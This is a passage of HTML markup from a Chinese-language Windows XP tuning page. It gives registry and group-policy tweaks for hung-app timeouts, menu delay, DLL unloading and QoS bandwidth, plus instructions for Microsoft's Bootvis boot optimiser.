src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;HungAppTimeout&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;200&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;WaitToKillServiceTimeout&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;1000&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt; &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;hr width="650"&gt;&lt;a name="ClsProgram"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;自動關閉停止回應程式 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt; 在〔開始〕→〔執行〕→鍵入〔Regedit〕&lt;br /&gt;→〔HKEY_CURRENT_USER〕→〔Control Panel〕→〔Desktop〕&lt;br /&gt;→將字串值〔AutoEndTasks〕的數值資料更改為〔1〕&lt;br /&gt;→重新開機便生效&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;center&gt;&lt;/center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;AutoEndTasks&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;1&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_CURRENT_USER\Control Panel\Desktop&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;      &lt;hr width="650"&gt;&lt;a name="ClsDll"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;清除記憶體內被不用的DLL文件 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKKEY_LOCAL_MACHINE〕&lt;br /&gt;→〔SOFTWARE〕→〔Microsoft〕→〔Windows〕→〔CurrentVersion〕→〔Explorer〕&lt;br /&gt;增加一個機碼〔AlwaysUnloadDLL〕預設值為〔1〕&lt;br /&gt;如由預設值設定為〔0〕則代表停用此功能 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;center&gt;&lt;/center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;1&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="Sblack" bgcolor="#d8d9df" height="20" width="516"&gt;...\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;      &lt;hr width="650"&gt;&lt;a name="SpeedBW"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;加快寬頻連接速度 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔gpedit.msc〕打開〔本機管理原則〕→〔電腦設定〕&lt;br /&gt;→〔系統管理範本〕→〔Network〕→在右邊窗口打開〔QoS Packet Scheduler〕&lt;br /&gt;→〔limit reservable bandwidth〕→選〔已啟用〕&lt;br /&gt;→將〔Bandwidth limit %" 〕的數據改為〔0〕→重新開機便生效&lt;br /&gt;* 僅適用用 Windows XP 商業版版本&lt;p&gt; &lt;b&gt;家用版可按下執行&lt;/b&gt;&lt;br /&gt;在〔開始〕→〔執行〕→鍵入〔regedit〕→在〔HKEY_LOCAL_MACHINE〕&lt;br /&gt;→〔SOFTWARE〕→〔Policies〕→〔Microsoft〕 →〔Windows〕&lt;br /&gt;增加一個名為〔Psched〕的機碼&lt;br /&gt;在〔Psched〕右面窗口增加一個 Dword 值〔NonBestEffortLimit〕數值資料為〔0〕 &lt;/p&gt;&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBinary.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;NonBestEffortLimit&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_DWORD&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;0x00000000(0)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Psched&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;    &lt;hr width="650"&gt;&lt;a name="SpeedMenu"&gt;&lt;/a&gt;    &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;加快菜單顯示速度 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_CURRENT_USER〕→〔Control Panel〕&lt;br /&gt;→〔Desktop〕→將字串值〔MenuShowDelay〕的數值資料更改為〔０〕&lt;br /&gt;調整後如覺得菜單顯示速度太快而不適應者可將〔MenuShowDelay〕的數值資料更改為〔200〕&lt;br /&gt;→重新開機便生效 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;MenuShowDelay&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;200&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_CURRENT_USER\Control Panel\Desktop&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="5" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBot.jpg" height="5" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;hr width="650"&gt;&lt;a name="RefRate"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;加快自動更新率&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕→〔System〕&lt;br /&gt;→〔CurrentControlSet〕→〔Control〕→〔Update〕&lt;br /&gt;→將 Dword〔UpdateMode〕的數值資料更改為〔０〕&lt;br /&gt;→重新開機便生效 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;img src="http://www.alan888.com/winxp/images/RegTop.jpg" alt="Registry Editor Example" height="30" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td colspan="2" bgcolor="#ffffff" height="20" width="190"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegName.jpg" height="20" width="190" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="100"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegType.jpg" height="20" width="100" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="223"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegData.jpg" alt="" height="20" width="223" /&gt;&lt;/td&gt; &lt;td bgcolor="#ffffff" height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/reg_sz.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;(預設值)&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_SZ&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;(數值未設定)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td height="20" width="20"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegBinary.gif" height="20" width="20" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="170"&gt;UpdateMode&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="100"&gt;REG_DWORD&lt;/td&gt; &lt;td class="black" bgcolor="#ffffff" height="20" width="223"&gt;0x00000000(0)&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;  &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="4" width="526"&gt;&lt;img src="http://www.alan888.com/winxp/images/RegMid.jpg" height="4" width="526" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;   &lt;center&gt;&lt;table border="0" cellpadding="0" cellspacing="0" width="526"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/LBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt; &lt;td class="black" bgcolor="#d8d9df" height="20" width="516"&gt;我的電腦\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update&lt;/td&gt; &lt;td height="20" width="5"&gt;&lt;img src="http://www.alan888.com/winxp/images/RBorder.jpg" height="20" width="5" /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;/center&gt;       &lt;hr width="650"&gt;&lt;a name="Bootvis"&gt;&lt;/a&gt; &lt;table align="center" border="0" cellpadding="2" cellspacing="2" width="650"&gt;&lt;tbody&gt; &lt;tr&gt;&lt;td class="bsubtitle" background="http://www.alan888.com/winxp/images/TopicBgr.gif" bgcolor="#ffffff" height="30" valign="bottom"&gt;&lt;center&gt;使用微軟 Bootvis.exe 優化啟動速度&lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td class="body"&gt;&lt;center&gt;  先&lt;a href="http://download.microsoft.com/download/whistler/BTV/1.0/WXP/EN-US/bootVis-tool.exe"&gt;下載 bootVis.exe&lt;/a&gt;檔案，然後解壓後執行 〔bootvis.exe〕&lt;br /&gt;→ 之後在〔Trace〕選〔next boot + driver delays〕或其他選擇項目後XP會重新啟動，&lt;br /&gt;並將記錄啟動資料產生成 BIN 的文件。再在〔Bootvis.exe〕→〔file〕&lt;br /&gt;→〔open〕中打開這個文件→在〔Trace〕→選〔Optimize system〕&lt;br /&gt;此優化需時頗長，請奈心等待 &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;     &lt;hr size="2" width="650"&gt;&lt;a 